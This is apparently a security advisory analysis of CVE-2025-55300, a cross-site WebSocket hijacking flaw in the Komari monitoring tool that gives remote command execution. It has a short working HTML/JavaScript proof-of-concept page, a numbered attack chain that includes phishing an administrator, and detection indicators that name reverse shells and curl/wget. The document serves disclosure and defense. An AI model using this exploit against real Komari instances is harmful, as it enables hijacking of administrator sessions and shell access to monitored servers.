CVE-2025-55300: 
vulnerability analysis and mitigation

CVE-2025-55300 is a Cross-Site WebSocket Hijacking (CSWSH) vulnerability in Komari, a lightweight self-hosted server monitoring tool. The WebSocket upgrader in versions prior to 1.0.4-fix1 has origin checking disabled, allowing any third-party website to send requests to the terminal WebSocket endpoint using an authenticated user's browser cookies, resulting in remote code execution. The vulnerability was published on August 18, 2025, and assigned a CVSS v4 base score of 8.6 (High) (GitHub Advisory, Feedly).

The root cause is an insecure WebSocket upgrader configuration in komari/api/terminal.go where the CheckOrigin function unconditionally returns true, bypassing all origin validation (CWE-79 is the assigned classification, though the vulnerability more precisely maps to improper origin validation enabling CSWSH). Because browsers automatically attach session cookies to WebSocket upgrade requests regardless of the initiating origin, any attacker-controlled webpage can establish a WebSocket connection to the Komari terminal endpoint (/api/admin/client/<target-uuid>/terminal) on behalf of an authenticated administrator. The fix, committed in d31d12e, replaces the permissive check with logic that parses the Origin header and compares its host to the request's Host header, rejecting mismatches (GitHub Advisory, Fix Commit).

Successful exploitation allows an attacker to execute arbitrary commands on any server node monitored by the Komari instance, without the administrator's knowledge or consent. Because the terminal WebSocket endpoint provides direct shell access to monitored nodes, an attacker can achieve full remote code execution, exfiltrate sensitive data, install backdoors, or disrupt server availability. The impact is limited to the vulnerable Komari system and its monitored nodes (subsequent system confidentiality, integrity, and availability are not directly affected via the WebSocket channel itself), but the monitored infrastructure is fully at risk (GitHub Advisory).

A proof-of-concept is publicly documented in the GitHub Security Advisory, demonstrating a minimal HTML page that opens a WebSocket to the Komari terminal endpoint and sends arbitrary commands using the victim's session cookies. Exploitation requires only that an authenticated Komari administrator visits a malicious webpage while logged in — no additional privileges or complex preconditions are needed. There is no evidence of in-the-wild exploitation or threat actor attribution at this time. The EPSS score is approximately 0.0044 (0.44%), and the vulnerability is not listed in the CISA KEV catalog (GitHub Advisory, Feedly).

1. Reconnaissance: Identify a target Komari instance (e.g., via Shodan or direct knowledge) running a version prior to 1.0.4-fix1. Obtain the UUID of a monitored node, which may be visible in the Komari admin dashboard URL or API responses.
2. Craft malicious page: Host the following HTML/JavaScript on an attacker-controlled internet-accessible server, substituting <komari-addr> and <target-uuid> with the target values:

<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
  const binaryBlob = new Blob(['id\n'], { type: 'application/octet-stream' });
  socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
  event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>

3. Social engineering: Trick an authenticated Komari administrator into visiting the malicious page (e.g., via phishing email or link).
4. Exploit CSWSH: The victim's browser automatically includes session cookies in the WebSocket upgrade request. Because origin checking is disabled, the server accepts the connection from the attacker's origin.
5. Execute commands: The attacker's JavaScript sends arbitrary shell commands (e.g., reverse shell payloads, data exfiltration scripts) to the terminal WebSocket endpoint, which executes them on the monitored node (GitHub Advisory).

• Network: Unexpected WebSocket upgrade requests to /api/admin/client/<uuid>/terminal originating from browser sessions where the Origin header does not match the Komari server's hostname; outbound connections from monitored nodes to unknown external IPs following WebSocket activity.
• Logs: Komari access logs showing WebSocket connections to the terminal endpoint from unusual referrer origins or at unexpected times; command execution logs on monitored nodes showing commands not initiated by the administrator.
• Process: Unusual child processes spawned on monitored nodes (e.g., reverse shells, curl, wget, bash -i) that correlate with WebSocket session timestamps.
• File System: New or modified files on monitored nodes (e.g., cron jobs, SSH authorized_keys, web shells) created around the time of suspicious WebSocket activity (GitHub Advisory).

Upgrade Komari to version 1.0.4-fix1 immediately, which enforces strict origin checking by comparing the Origin header's host to the server's Host header and rejecting mismatches or empty origins. As a temporary workaround prior to upgrading, restrict access to the Komari admin interface to trusted networks only (e.g., via firewall rules or VPN), reducing the attack surface by limiting who can be socially engineered into visiting a malicious page while authenticated. Additionally, monitor WebSocket connections to the terminal endpoint for anomalous origins (GitHub Advisory, Fix Commit).

The vulnerability was reported by researcher imlonghao and credited in the GitHub Security Advisory. No significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified at this time (GitHub Advisory).